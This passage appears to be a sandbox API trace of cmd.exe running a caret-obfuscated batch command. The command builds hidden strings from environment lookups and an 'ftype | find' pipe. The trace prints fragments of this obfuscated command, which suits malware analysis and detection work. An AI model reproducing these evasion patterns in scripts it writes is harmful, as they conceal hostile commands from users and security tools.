nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CD") returned -5 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="ERRORLEVEL") returned -7 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDEXTVERSION") returned -5 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDCMDLINE") returned -5 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="DATE") returned -6 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="TIME") returned -22 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="RANDOM") returned -20 [0099.191] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.191] GetEnvironmentVariableW (in: lpName="^w^L^]^6^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.191] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CD") returned -5 [0099.191] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.191] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.191] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.193] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="DATE") returned -6 [0099.193] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="TIME") returned -22 [0099.193] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="RANDOM") returned -20 [0099.193] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.194] GetEnvironmentVariableW (in: lpName="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CD") returned -5 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="ERRORLEVEL") returned -7 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDEXTVERSION") returned -5 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDCMDLINE") returned -5 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="DATE") returned -6 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="TIME") returned -22 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="RANDOM") returned -20 [0099.194] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.194] GetEnvironmentVariableW (in: lpName="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CD") returned -5 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="ERRORLEVEL") returned -7 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDEXTVERSION") returned -5 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDCMDLINE") returned -5 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="DATE") returned -6 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="TIME") returned -22 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="RANDOM") returned -20 [0099.194] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.195] GetEnvironmentVariableW (in: lpName="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CD") returned 2 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="ERRORLEVEL") returned -20 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDEXTVERSION") returned 2 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDCMDLINE") returned 2 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="DATE") returned 1 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="TIME") returned -15 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="RANDOM") returned -13 [0099.195] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="HIGHESTNUMANODENUMBER") returned -3 [0099.195] GetEnvironmentVariableW (in: lpName="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CD") returned -5 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="ERRORLEVEL") returned -7 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDEXTVERSION") returned -5 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDCMDLINE") returned -5 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="DATE") returned -6 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="TIME") returned -22 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="RANDOM") returned -20 [0099.195] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.196] GetEnvironmentVariableW (in: lpName="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CD") returned -5 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="ERRORLEVEL") returned -7 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDEXTVERSION") returned -5 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDCMDLINE") returned -5 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="DATE") returned -6 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="TIME") returned -22 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="RANDOM") returned -20 [0099.196] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.196] GetEnvironmentVariableW (in: lpName="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CD") returned -5 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="ERRORLEVEL") returned -7 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDEXTVERSION") returned -5 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDCMDLINE") returned -5 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="DATE") returned -6 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="TIME") returned -22 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="RANDOM") returned -20 [0099.196] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.196] GetEnvironmentVariableW (in: lpName="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.196] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CD") returned -5 [0099.196] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="ERRORLEVEL") returned -7 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CMDEXTVERSION") returned -5 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CMDCMDLINE") returned -5 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="DATE") returned -6 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="TIME") returned -22 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="RANDOM") returned -20 [0099.197] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.197] GetEnvironmentVariableW (in: lpName="^*^[^-^,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="CD") returned -5 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="ERRORLEVEL") returned -7 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="CMDEXTVERSION") returned -5 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="CMDCMDLINE") returned -5 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="DATE") returned -6 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="TIME") returned -22 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="RANDOM") returned -20 [0099.197] _wcsicmp (_String1="^*^[^-^,", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.197] GetEnvironmentVariableW (in: lpName=" |", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.197] _wcsicmp (_String1=" |", _String2="CD") returned -67 [0099.197] _wcsicmp (_String1=" |", _String2="ERRORLEVEL") returned -69 [0099.197] _wcsicmp (_String1=" |", _String2="CMDEXTVERSION") returned -67 [0099.197] _wcsicmp (_String1=" |", _String2="CMDCMDLINE") returned -67 [0099.198] _wcsicmp (_String1=" |", _String2="DATE") returned -68 [0099.198] _wcsicmp (_String1=" |", _String2="TIME") returned -84 [0099.198] _wcsicmp (_String1=" |", _String2="RANDOM") returned -82 [0099.198] _wcsicmp (_String1=" |", _String2="HIGHESTNUMANODENUMBER") returned -72 [0099.198] _wcsicmp (_String1="For", _String2=")") returned 61 [0099.198] _wcsicmp (_String1="FOR", _String2="For") returned 0 [0099.198] _wcsicmp (_String1="FOR/?", _String2="For") returned 47 [0099.199] _wcsicmp (_String1="/L", _String2="/f") returned 6 [0099.199] _wcsicmp (_String1="/D", _String2="/f") returned -2 [0099.199] _wcsicmp (_String1="/F", _String2="/f") returned 0 [0099.200] _wcsicmp (_String1="/L", _String2="%1") returned 10 [0099.200] _wcsicmp (_String1="/D", _String2="%1") returned 10 [0099.200] _wcsicmp (_String1="/F", _String2="%1") returned 10 [0099.201] _wcsicmp (_String1="/R", _String2="%1") returned 10 [0099.201] _wcsicmp (_String1="IN", _String2="iN") returned 0 [0099.205] _wcsicmp (_String1="DO", _String2="dO") returned 0 [0099.205] _wcsicmp (_String1="%1", _String2=")") returned -4 [0099.205] _wcsicmp (_String1="FOR", _String2="%1") returned 65 [0099.205] _wcsicmp (_String1="FOR/?", _String2="%1") returned 65 [0099.205] _wcsicmp (_String1="IF", _String2="%1") returned 68 [0099.205] _wcsicmp (_String1="IF/?", _String2="%1") returned 68 [0099.205] _wcsicmp (_String1="REM", _String2="%1") returned 77 [0099.205] _wcsicmp (_String1="REM/?", _String2="%1") returned 77 [0099.296] wcstol (in: _String=" +2 delims=FeH\"", _EndPtr=0x22f7f0, _Radix=0 | out: _EndPtr=0x22f7f0*=" delims=FeH\"") returned 2 [0099.326] _wcsnicmp (_String1="delims=F", _String2="usebackq", _MaxCount=0x8) returned -17 [0099.326] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0099.326] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0099.327] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0099.327] _wpopen (_Command=" ^f^t^Yp^e | ^f^IN^d \"SHCm\" ", _Mode="rb") returned 0x7feff632b10 [0099.335] feof (_File=0x7feff632b10) returned 0 [0099.335] ferror (_File=0x7feff632b10) returned 0 [0099.335] fgets (in: _Buf=0x37fb90, _MaxCount=256, _File=0x7feff632b10 | out: _Buf="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", _File=0x7feff632b10) returned="SHCmdFile=%SystemRoot%\\explorer.exe\r\n" [0101.739] feof (_File=0x7feff632b10) returned 0 [0101.739] ferror (_File=0x7feff632b10) returned 0 [0101.740] fgets (in: _Buf=0x37feb5, _MaxCount=475, _File=0x7feff632b10 | out: _Buf="", _File=0x7feff632b10) returned 0x0 [0102.020] _pclose (in: _File=0x7feff632b10 | out: _File=0x7feff632b10) returned 0 [0102.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x37feb5, cbMultiByte=37, lpWideCharStr=0x37fe90, cchWideChar=37 | out: lpWideCharStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n") returned 37 [0102.026] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f4a8 | out: _Buffer="\r\n") returned 2 [0102.026] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.026] GetFileType (hFile=0x7) returned 0x2 [0102.027] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.027] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f438 | out: lpMode=0x22f438) returned 1 [0102.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.027] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22f478, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x22f478*=0x2) returned 1 [0102.028] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.028] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: 